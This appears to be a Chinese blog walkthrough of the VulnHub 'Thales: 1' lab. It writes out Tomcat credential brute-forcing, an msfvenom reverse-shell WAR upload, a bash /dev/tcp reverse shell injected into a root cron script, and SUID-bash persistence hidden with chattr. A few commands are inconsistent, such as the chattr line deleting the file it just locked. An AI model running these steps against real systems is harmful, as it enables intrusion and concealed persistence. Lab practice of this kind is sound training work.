靶机下载地址:https://www.vulnhub.com/entry/thales-1,749/
教程链接地址: https://blog.csdn.net/weixin_43784056/article/details/123577862

# 确认攻击目标

攻击机 KALI: 192.168.31.135
靶机 THALES:桥接于 192.168.31.1 的网卡,ip 未知

1)arp 确定靶机地址
sudo arp-scan -l

Image

-> 目标机器的 ip 地址: 192.168.31.109

  1. 确认靶机 ip 开放的端口信息
    sudo nmap -A -p- 192.168.31.109
Image

-> 靶机开放端口 22, 8080

# 网站信息收集

打开 [http://192.168.31.109](http://192.168.31.109 进行信息收集

页面是一个普通的 tomcat 首页,没有直接可以点击的接口

扫描目录 dirsearch -u http://192.168.31.109:8080/

Image

-> 对识别到的目录依次进行访问,找到了两个敏感目录

http://192.168.31.109/manager/html
http://192.168.31.109/shell/

1
2
# 换一个字典,重新扫描看是否有没有被找到的目录
gobuster dir -u http://192.168.31.109:8080 -x php,txt,html,zip,rar -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Image

http://192.168.31.109/shell/
是一个不停转圈的网站,猜测是作者遗留在此的一个后门文件

http://192.168.31.109/manager/html 登陆界面,可进行爆破

Image

# tomcat 弱口令爆破

1
2
3
# 使用msf对此登陆框进行弱口令尝试
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 192.168.31.109
Image

较长时间后,获取到了正确的 tomcat 密码
Image

-> 用户名:tomcat 密码:role1

http://192.168.31.109:8080/manager/html 存在一个文件上传的漏洞,可用来上传 war 后门文件

# War 后门文件上传

1
2
3
# 使用msf生成一个反弹shell的war文件木马
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.31.135 LPORT=4444 -f
war -o revshell.war

同时监听 4444 端口,等待 shell 的反弹

将 war 文件上传到 tomcat 上

在网站上已经显示出了具体的 url 地址

点击此文件执行此反弹 shell 的代码

Image

-> 拿到了服务器上的网站的权限

Image

# 服务器信息收集

查看 sudo -l 相关权限设置,查看是否有 s 权限设置错误
Image

查看是否可以通过 pkexec 提权
Image

翻阅目录,查找敏感文件

根据 notes.txt 文件提示有一个备份文件 backup.sh,查看文件权限,发现所有者和组都是 root,所以应该是以 root 的身份在后台运行

-> 可以使用 pspy64 脚本查看一下

# pspy64 监控

1
2
3
4
wget https://github.com/DominicBreuker/pspy/archive/refs/heads/master.zip
python -m http.server 80
wget 192.168.31.135/pspy64s
./pspy64s
Image

通过 pspy 监视正在运行的进程,发现有 UID=0 执行的程序,backup.sh

Image
1
2
3
4
5
#可以将反弹root终端的代码插入到backup.sh中,监听相应端口
bash -c 'bash -i >& /dev/tcp/192.168.31.135/4444 0>&1'

# 查看文件的最后两行
tail -n 2 /usr/local/bin/backup.sh
Image

等待 shell 被反弹
Image

-> 成功拿到 root 权限

查看一下计划任务

1
2
3
4
5
# 查看定时任务
crontab -l

# 发现是 5 分钟备份一次
*/5 * * * * bash /usr/local/bin/backup.sh

# SUID 权限维持

1
2
3
4
5
6
7
8
# 新增用户
useradd kali && passwd kali

# 新增SUID文件
cp /bin/bash /var/.hack && chmod 4755 /var/.hack

# chattr锁定文件
ls -Alh /var/.hack && chattr +i /var/.hack && rm -f /var/.hack
Image

检验是否权限维持成功
Image

# chattr 锁定文件权限

在 Linux 中,使用 chattr 命令来防止 root 和其他管理用户误删除和修改重要文件及目录,此权限用 ls -l 是查看不出来的,从而达到隐藏权限的目的。

1
2
3
4
5
6
7
8
9
10
11
# 锁定文件 
chattr +i evil.php

# 属性查看
lsattr evil.php

# 解除锁定
chattr -i evil.php

# 删除文件
rm -rf 1.evil.php

chattr 锁定权限,通过解锁才能删除

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝